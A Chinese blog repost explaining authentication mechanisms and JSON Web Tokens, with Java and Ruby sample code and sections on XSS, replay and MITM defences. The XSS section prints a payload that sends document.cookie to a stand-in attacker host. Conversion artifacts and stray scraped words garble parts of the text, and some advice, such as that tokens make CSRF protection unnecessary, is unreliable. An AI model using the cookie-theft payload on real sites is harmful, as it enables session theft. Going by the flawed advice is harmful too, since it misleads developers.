轉自http://www.javashuo.com/article/p-wbuaofqc-n.htmljavascript
幾種經常使用的認證機制
HTTP Basic Auth
HTTP Basic Auth簡單點說明就是每次請求API時都提供用戶的username和password,簡言之,Basic Auth是配合RESTful API 使用的最簡單的認證方式,只需提供用戶名密碼便可,但因爲有把用戶名密碼暴露給第三方客戶端的風險,在生產環境下被使用的愈來愈少。所以,在開發對外開放的RESTful API時,儘可能避免採用HTTP Basic Authcss
OAuth
OAuth(開放受權)是一個開放的受權標準,容許用戶讓第三方應用訪問該用戶在某一web服務上存儲的私密的資源(如照片,視頻,聯繫人列表),而無需將用戶名和密碼提供給第三方應用。html
OAuth容許用戶提供一個令牌,而不是用戶名和密碼來訪問他們存放在特定服務提供者的數據。每個令牌受權一個特定的第三方系統(例如,視頻編輯網站)在特定的時段(例如,接下來的2小時內)內訪問特定的資源(例如僅僅是某一相冊中的視頻)。這樣,OAuth讓用戶能夠受權第三方網站訪問他們存儲在另外服務提供者的某些特定信息,而非全部內容
下面是OAuth2.0的流程:前端
這種基於OAuth的認證機制適用於我的消費者類的互聯網產品,如社交類APP等應用,可是不太適合擁有自有認證權限管理的企業應用;java
Cookie Auth
Cookie認證機制就是爲一次請求認證在服務端建立一個Session對象,同時在客戶端的瀏覽器端建立了一個Cookie對象;經過客戶端帶上來Cookie對象來與服務器端的session對象匹配來實現狀態管理的。默認的,當咱們關閉瀏覽器的時候,cookie會被刪除。但能夠經過修改cookie 的expire time使cookie在必定時間內有效;node
Token Auth
Token Auth的優勢
Token機制相對於Cookie機制又有什麼好處呢?git
- 支持跨域訪問: Cookie是不容許垮域訪問的,這一點對Token機制是不存在的,前提是傳輸的用戶認證信息經過HTTP頭傳輸.
- 無狀態(也稱:服務端可擴展行):Token機制在服務端不須要存儲session信息,由於Token 自身包含了全部登陸用戶的信息,只須要在客戶端的cookie或本地介質存儲狀態信息.
- 更適用CDN: 能夠經過內容分發網絡請求你服務端的全部資料(如:javascript,HTML,圖片等),而你的服務端只要提供API便可.
- 去耦: 不須要綁定到一個特定的身份驗證方案。Token能夠在任何地方生成,只要在你的API被調用的時候,你能夠進行Token生成調用便可.
- 更適用於移動應用: 當你的客戶端是一個原平生臺(iOS, Android,Windows 8等)時,Cookie是不被支持的(你須要經過Cookie容器進行處理),這時採用Token認證機制就會簡單得多。
- CSRF:由於再也不依賴於Cookie,因此你就不須要考慮對CSRF(跨站請求僞造)的防範。
- 性能: 一次網絡往返時間(經過數據庫查詢session信息)總比作一次HMACSHA256計算 的Token驗證和解析要費時得多.
- 不須要爲登陸頁面作特殊處理: 若是你使用Protractor 作功能測試的時候,再也不須要爲登陸頁面作特殊處理.
- 基於標準化:你的API能夠採用標準化的 JSON Web Token (JWT). 這個標準已經存在多個後端庫(.NET, Ruby, Java,Python, PHP)和多家公司的支持(如:Firebase,Google, Microsoft).
基於JWT的Token認證機制實現
JSON Web Token(JWT)是一個很是輕巧的規範。這個規範容許咱們使用JWT在用戶和服務器之間傳遞安全可靠的信息。其github
JWT的組成
一個JWT實際上就是一個字符串,它由三部分組成,頭部、載荷與簽名。
載荷(Payload)web
{ "iss": "Online JWT Builder", "iat": 1416797419, "exp": 1448333419, "aud": "www.example.com", "sub": "jrocket@example.com", "GivenName": "Johnny", "Surname": "Rocket", "Email": "jrocket@example.com", "Role": [ "Manager", "Project Administrator" ] }
- iss: 該JWT的簽發者,是否使用是可選的;
- sub: 該JWT所面向的用戶,是否使用是可選的;
- aud: 接收該JWT的一方,是否使用是可選的;
- exp(expires): 何時過時,這裏是一個Unix時間戳,是否使用是可選的;
- iat(issued at): 在何時簽發的(UNIX時間),是否使用是可選的;
其餘還有: - nbf (Not Before):若是當前時間在nbf裏的時間以前,則Token不被接受;通常都會留一些餘地,好比幾分鐘;,是否使用是可選的;
將上面的JSON對象進行[base64編碼]能夠獲得下面的字符串。這個字符串咱們將它稱做JWT的Payload(載荷)。redis
eyJpc3MiOiJKb2huIFd1IEpXVCIsImlhdCI6MTQ0MTU5MzUwMiwiZXhwIjoxNDQxNTk0NzIyLCJhdWQiOiJ3d3cuZXhhbXBsZS5jb20iLCJzdWIiOiJqcm9ja2V0QGV4YW1wbGUuY29tIiwiZnJvbV91c2VyIjoiQiIsInRhcmdldF91c2VyIjoiQSJ9
小知識:Base64是一種基於64個可打印字符來表示二進制數據的表示方法。因爲2的6次方等於64,因此每6個比特爲一個單元,對應某個可打印字符。三個字節有24個比特,對應於4個Base64單元,即3個字節須要用4個可打印字符來表示。JDK 中提供了很是方便的 BASE64Encoder 和 BASE64Decoder,用它們能夠很是方便的完成基於 BASE64 的編碼和解碼
頭部(Header)
JWT還須要一個頭部,頭部用於描述關於該JWT的最基本的信息,例如其類型以及簽名所用的算法等。這也能夠被表示成一個JSON對象。
{
"typ": "JWT", "alg": "HS256" }
在頭部指明瞭簽名算法是HS256算法。
固然頭部也要進行BASE64編碼,編碼後的字符串以下:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
簽名(Signature)
將上面的兩個編碼後的字符串都用句號.鏈接在一塊兒(頭部在前),就造成了:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0
最後,咱們將上面拼接完的字符串用HS256算法進行加密。在加密的時候,咱們還須要提供一個密鑰(secret)。若是咱們用mystar做爲密鑰的話,那麼就能夠獲得咱們加密後的內容:
rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM
最後將這一部分簽名也拼接在被簽名的字符串後面,咱們就獲得了完整的JWT:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM
在咱們的請求URL中會帶上這串JWT字符串:
https://your.awesome-app.com/make-friend/?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM
認證過程
下面咱們從一個實例來看如何運用JWT機制實現認證:
登陸
- 第一次認證:第一次登陸,用戶從瀏覽器輸入用戶名/密碼,提交後到服務器的登陸處理的Action層(Login Action);
- Login Action調用認證服務進行用戶名密碼認證,若是認證經過,Login Action層調用用戶信息服務獲取用戶信息(包括完整的用戶信息及對應權限信息);
- 返回用戶信息後,Login Action從配置文件中獲取Token簽名生成的祕鑰信息,進行Token的生成;
- 生成Token的過程當中能夠調用第三方的JWT Lib生成簽名後的JWT數據;
- 完成JWT數據簽名後,將其設置到COOKIE對象中,並重定向到首頁,完成登陸過程;
請求認證
基於Token的認證機制會在每一次請求中都帶上完成簽名的Token信息,這個Token信息可能在COOKIE
中,也可能在HTTP的Authorization頭中;
- 客戶端(APP客戶端或瀏覽器)經過GET或POST請求訪問資源(頁面或調用API);
- 認證服務做爲一個Middleware HOOK 對請求進行攔截,首先在cookie中查找Token信息,若是沒有找到,則在HTTP Authorization Head中查找;
- 若是找到Token信息,則根據配置文件中的簽名加密祕鑰,調用JWT Lib對Token信息進行解密和解碼;
- 完成解碼並驗證簽名經過後,對Token中的exp、nbf、aud等信息進行驗證;
- 所有經過後,根據獲取的用戶的角色權限信息,進行對請求的資源的權限邏輯判斷;
- 若是權限邏輯判斷經過則經過Response對象返回;不然則返回HTTP 401;
對Token認證的五點認識
對Token認證機制有5點直接注意的地方:
- 一個Token就是一些信息的集合;
- 在Token中包含足夠多的信息,以便在後續請求中減小查詢數據庫的概率;
- 服務端須要對cookie和HTTP Authrorization Header進行Token信息的檢查;
- 基於上一點,你能夠用一套token認證代碼來面對瀏覽器類客戶端和非瀏覽器類客戶端;
- 由於token是被簽名的,因此咱們能夠認爲一個能夠解碼認證經過的token是由咱們系統發放的,其中帶的信息是合法有效的;
JWT的JAVA實現
Java中對JWT的支持能夠考慮使用JJWT開源庫;JJWT實現了JWT, JWS, JWE 和 JWA RFC規範;下面將簡單舉例說明其使用:
生成Token碼
import javax.crypto.spec.SecretKeySpec; import javax.xml.bind.DatatypeConverter; import java.security.Key; import io.jsonwebtoken.*; import java.util.Date; //Sample method to construct a JWT private String createJWT(String id, String issuer, String subject, long ttlMillis) { //The JWT signature algorithm we will be using to sign the token SignatureAlgorithm signatureAlgorithm = SignatureAlgorithm.HS256; long nowMillis = System.currentTimeMillis(); Date now = new Date(nowMillis); //We will sign our JWT with our ApiKey secret byte[] apiKeySecretBytes = DatatypeConverter.parseBase64Binary(apiKey.getSecret()); Key signingKey = new SecretKeySpec(apiKeySecretBytes, signatureAlgorithm.getJcaName()); //Let's set the JWT Claims JwtBuilder builder = Jwts.builder().setId(id) .setIssuedAt(now) .setSubject(subject) .setIssuer(issuer) .signWith(signatureAlgorithm, signingKey); //if it has been specified, let's add the expiration if (ttlMillis >= 0) { long expMillis = nowMillis + ttlMillis; Date exp = new Date(expMillis); builder.setExpiration(exp); } //Builds the JWT and serializes it to a compact, URL-safe string return builder.compact(); }
解碼和驗證Token碼
import javax.xml.bind.DatatypeConverter; import io.jsonwebtoken.Jwts; import io.jsonwebtoken.Claims; //Sample method to validate and read the JWT private void parseJWT(String jwt) { //This line will throw an exception if it is not a signed JWS (as expected) Claims claims = Jwts.parser() .setSigningKey(DatatypeConverter.parseBase64Binary(apiKey.getSecret())) .parseClaimsJws(jwt).getBody(); System.out.println("ID: " + claims.getId()); System.out.println("Subject: " + claims.getSubject()); System.out.println("Issuer: " + claims.getIssuer()); System.out.println("Expiration: " + claims.getExpiration()); }
基於JWT的Token認證的安全問題
確保驗證過程的安全性
如何保證用戶名/密碼驗證過程的安全性;由於在驗證過程當中,須要用戶輸入用戶名和密碼,在這一過程當中,用戶名、密碼等敏感信息須要在網絡中傳輸。所以,在這個過程當中建議採用HTTPS,經過SSL加密傳輸,以確保通道的安全性。
如何防範XSS Attacks
瀏覽器能夠作不少事情,這也給瀏覽器端的安全帶來不少隱患,最多見的如:XSS攻擊:跨站腳本攻擊(Cross Site Scripting);若是有個頁面的輸入框中容許輸入任何信息,且沒有作防範措施,若是咱們輸入下面這段代碼:
<img src="x" /> a.src='https://hackmeplz.com/yourCookies.png/?cookies=’ +document.cookie;return a}())"
這段代碼會盜取你域中的全部cookie信息,併發送到 hackmeplz.com;那麼咱們如何來防範這種攻擊呢?
- XSS攻擊代碼過濾
移除任何會致使瀏覽器作非預期執行的代碼,這個能夠採用一些庫來實現(如:js下的js-xss,JAVA下的XSS HTMLFilter,PHP下的TWIG);若是你是將用戶提交的字符串存儲到數據庫的話(也針對SQL注入攻擊),你須要在前端和服務端分別作過濾; - 採用HTTP-Only Cookies
經過設置Cookie的參數: HttpOnly; Secure 來防止經過JavaScript 來訪問Cookie;
如何在Java中設置cookie是HttpOnly呢?
Servlet 2.5 API 不支持 cookie設置HttpOnly
http://docs.oracle.com/cd/E17802_01/products/products/servlet/2.5/docs/servlet-2_5-mr2/
建議升級Tomcat7.0,它已經實現了Servlet3.0
http://tomcat.apache.org/tomcat-7.0-doc/servletapi/javax/servlet/http/Cookie.html
或者經過這樣來設置:
//設置cookie response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly"); //設置多個cookie response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly"); response.addHeader("Set-Cookie", "timeout=30; Path=/test; HttpOnly"); //設置https的cookie response.addHeader("Set-Cookie", "uid=112; Path=/; Secure; HttpOnly");
在實際使用中,咱們可使FireCookie查看咱們設置的Cookie 是不是HttpOnly;
如何防範Replay Attacks
所謂重放攻擊就是攻擊者發送一個目的主機已接收過的包,來達到欺騙系統的目的,主要用於身份認證過程。好比在瀏覽器端經過用戶名/密碼驗證得到簽名的Token被木馬竊取。即便用戶登出了系統,黑客仍是能夠利用竊取的Token模擬正常請求,而服務器端對此徹底不知道,覺得JWT機制是無狀態的。
針對這種狀況,有幾種經常使用作法能夠用做參考:
一、時間戳 +共享祕鑰
這種方案,客戶端和服務端都須要知道:
- User ID
- 共享祕鑰
客戶端
auth_header = JWT.encode({
user_id: 123, iat: Time.now.to_i, # 指定token發佈時間 exp: Time.now.to_i + 2 # 指定token過時時間爲2秒後,2秒時間足夠一次HTTP請求,同時在必定程度確保上一次token過時,減小replay attack的機率; }, "<my shared secret>") RestClient.get("http://api.example.com/", authorization: auth_header)
服務端
class ApiController < ActionController::Base attr_reader :current_user before_action :set_current_user_from_jwt_token def set_current_user_from_jwt_token # Step 1:解碼JWT,並獲取User ID,這個時候不對Token簽名進行檢查 # the signature. Note JWT tokens are *not* encrypted, but signed. payload = JWT.decode(request.authorization, nil, false) # Step 2: 檢查該用戶是否存在於數據庫 @current_user = User.find(payload['user_id']) # Step 3: 檢查Token簽名是否正確. JWT.decode(request.authorization, current_user.api_secret) # Step 4: 檢查 "iat" 和"exp" 以確保這個Token是在2秒內建立的. now = Time.now.to_i if payload['iat'] > now || payload['exp'] < now # 若是過時則返回401 end rescue JWT::DecodeError # 返回 401 end end
二、時間戳 +共享祕鑰+黑名單 (相似Zendesk的作法)
客戶端
auth_header = JWT.encode({
user_id: 123, jti: rand(2 << 64).to_s, # 經過jti確保一個token只使用一次,防止replace attack iat: Time.now.to_i, # 指定token發佈時間. exp: Time.now.to_i + 2 # 指定token過時時間爲2秒後 }, "<my shared secret>") RestClient.get("http://api.example.com/", authorization: auth_header)
服務端
def set_current_user_from_jwt_token # 前面的步驟參考上面 payload = JWT.decode(request.authorization, nil, false) @current_user = User.find(payload['user_id']) JWT.decode(request.authorization, current_user.api_secret) now = Time.now.to_i if payload['iat'] > now || payload['exp'] < now # 返回401 end # 下面將檢查確保這個JWT以前沒有被使用過 # 使用Redis的原子操做 # The redis 的鍵: <user id>:<one-time use token> key = "#{payload['user_id']}:#{payload['jti']}" # 看鍵值是否在redis中已經存在. 若是不存在則返回nil. 若是存在則返回「1」. . if redis.getset(key, "1") # 返回401 # end # 進行鍵值過時檢查 redis.expireat(key, payload['exp'] + 2) end
如何防範MITM (Man-In-The-Middle)Attacks
所謂MITM攻擊,就是在客戶端和服務器端的交互過程被監聽,好比像能夠上網的咖啡館的WIFI被監聽或者被黑的代理服務器等;
針對這類攻擊的辦法使用HTTPS,包括針對分佈式應用,在服務間傳輸像cookie這類敏感信息時也採用HTTPS;因此雲計算在本質上是不安全的。
![](http://static.javashuo.com/static/loading.gif)
JSON Web Token(JWT)是目前最流行的跨域身份驗證解決方案。蟲蟲今天給你們介紹JWT的原理和用法。
1.跨域身份驗證
Internet服務沒法與用戶身份驗證分開。通常過程以下。
1.用戶向服務器發送用戶名和密碼。
2.驗證服務器後,相關數據(如用戶角色,登陸時間等)將保存在當前會話中。
3.服務器向用戶返回session_id,session信息都會寫入到用戶的Cookie。
4.用戶的每一個後續請求都將經過在Cookie中取出session_id傳給服務器。
5.服務器收到session_id並對比以前保存的數據,確認用戶的身份。
![](http://static.javashuo.com/static/loading.gif)
這種模式最大的問題是,沒有分佈式架構,沒法支持橫向擴展。若是使用一個服務器,該模式徹底沒有問題。可是,若是它是服務器羣集或面向服務的跨域體系結構的話,則須要一個統一的session數據庫庫來保存會話數據實現共享,這樣負載均衡下的每一個服務器才能夠正確的驗證用戶身份。
例如蟲蟲舉一個實際中常見的單點登錄的需求:站點A和站點B提供同一公司的相關服務。如今要求用戶只須要登陸其中一個網站,而後它就會自動登陸到另外一個網站。怎麼作?
一種解決方案是聽過持久化session數據,寫入數據庫或文件持久層等。收到請求後,驗證服務從持久層請求數據。該解決方案的優勢在於架構清晰,而缺點是架構修改比較費勁,整個服務的驗證邏輯層都須要重寫,工做量相對較大。並且因爲依賴於持久層的數據庫或者問題系統,會有單點風險,若是持久層失敗,整個認證體系都會掛掉。
![](http://static.javashuo.com/static/loading.gif)
本文蟲蟲給你們介紹另一種靈活的解決方案,經過客戶端保存數據,而服務器根本不保存會話數據,每一個請求都被髮送回服務器。 JWT是這種解決方案的表明。
![](http://static.javashuo.com/static/loading.gif)
2. JWT的原則
JWT的原則是在服務器身份驗證以後,將生成一個JSON對象並將其發送回用戶,以下所示。
{
"UserName": "Chongchong",
"Role": "Admin",
"Expire": "2018-08-08 20:15:56"
}
以後,當用戶與服務器通訊時,客戶在請求中發回JSON對象。服務器僅依賴於這個JSON對象來標識用戶。爲了防止用戶篡改數據,服務器將在生成對象時添加簽名(有關詳細信息,請參閱下文)。
服務器不保存任何會話數據,即服務器變爲無狀態,使其更容易擴展。
3. JWT的數據結構
典型的,一個JWT看起來以下圖。
改對象爲一個很長的字符串,字符之間經過"."分隔符分爲三個子串。注意JWT對象爲一個長字串,各字串之間也沒有換行符,此處爲了演示須要,咱們特地分行並用不一樣顏色表示了。每個子串表示了一個功能塊,總共有如下三個部分:
JWT的三個部分以下。JWT頭、有效載荷和簽名,將它們寫成一行以下。
![](http://static.javashuo.com/static/loading.gif)
咱們將在下面介紹這三個部分。
3.1 JWT頭
JWT頭部分是一個描述JWT元數據的JSON對象,一般以下所示。
{
"alg": "HS256",
"typ": "JWT"
}
在上面的代碼中,alg屬性表示簽名使用的算法,默認爲HMAC SHA256(寫爲HS256);typ屬性表示令牌的類型,JWT令牌統一寫爲JWT。
最後,使用Base64 URL算法將上述JSON對象轉換爲字符串保存。
3.2 有效載荷
有效載荷部分,是JWT的主體內容部分,也是一個JSON對象,包含須要傳遞的數據。 JWT指定七個默認字段供選擇。
iss:發行人
exp:到期時間
sub:主題
aud:用戶
nbf:在此以前不可用
iat:發佈時間
jti:JWT ID用於標識該JWT
除以上默認字段外,咱們還能夠自定義私有字段,以下例:
{
"sub": "1234567890",
"name": "chongchong",
"admin": true
}
請注意,默認狀況下JWT是未加密的,任何人均可以解讀其內容,所以不要構建隱私信息字段,存放保密信息,以防止信息泄露。
JSON對象也使用Base64 URL算法轉換爲字符串保存。
3.3簽名哈希
簽名哈希部分是對上面兩部分數據簽名,經過指定的算法生成哈希,以確保數據不會被篡改。
首先,須要指定一個密碼(secret)。該密碼僅僅爲保存在服務器中,而且不能向用戶公開。而後,使用標頭中指定的簽名算法(默認狀況下爲HMAC SHA256)根據如下公式生成簽名。
HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload),
secret)
在計算出簽名哈希後,JWT頭,有效載荷和簽名哈希的三個部分組合成一個字符串,每一個部分用"."分隔,就構成整個JWT對象。
3.4 Base64URL算法
如前所述,JWT頭和有效載荷序列化的算法都用到了Base64URL。該算法和常見Base64算法相似,稍有差異。
做爲令牌的JWT能夠放在URL中(例如api.example/?token=xxx)。 Base64中用的三個字符是"+","/"和"=",因爲在URL中有特殊含義,所以Base64URL中對他們作了替換:"="去掉,"+"用"-"替換,"/"用"_"替換,這就是Base64URL算法,很簡單把。
4. JWT的用法
客戶端接收服務器返回的JWT,將其存儲在Cookie或localStorage中。
此後,客戶端將在與服務器交互中都會帶JWT。若是將它存儲在Cookie中,就能夠自動發送,可是不會跨域,所以通常是將它放入HTTP請求的Header Authorization字段中。
Authorization: Bearer
當跨域時,也能夠將JWT被放置於POST請求的數據主體中。
5. JWT問題和趨勢
一、JWT默認不加密,但能夠加密。生成原始令牌後,可使用改令牌再次對其進行加密。
二、當JWT未加密方法是,一些私密數據沒法經過JWT傳輸。
三、JWT不只可用於認證,還可用於信息交換。善用JWT有助於減小服務器請求數據庫的次數。
四、JWT的最大缺點是服務器不保存會話狀態,因此在使用期間不可能取消令牌或更改令牌的權限。也就是說,一旦JWT簽發,在有效期內將會一直有效。
五、JWT自己包含認證信息,所以一旦信息泄露,任何人均可以得到令牌的全部權限。爲了減小盜用,JWT的有效期不宜設置太長。對於某些重要操做,用戶在使用時應該每次都進行進行身份驗證。
六、爲了減小盜用和竊取,JWT不建議使用HTTP協議來傳輸代碼,而是使用加密的HTTPS協議進行傳輸。
參考目錄:https://stormpath.com/blog/build-secure-user-interfaces-using-jwtshttps://auth0.com/blog/2014/01/27/ten-things-you-should-know-about-tokens-and-cookies/https://www.quora.com/Is-JWT-JSON-Web-Token-insecure-by-designhttps://github.com/auth0/node-jsonwebtoken/issues/36http://christhorntonsf.com/secure-your-apis-with-jwt/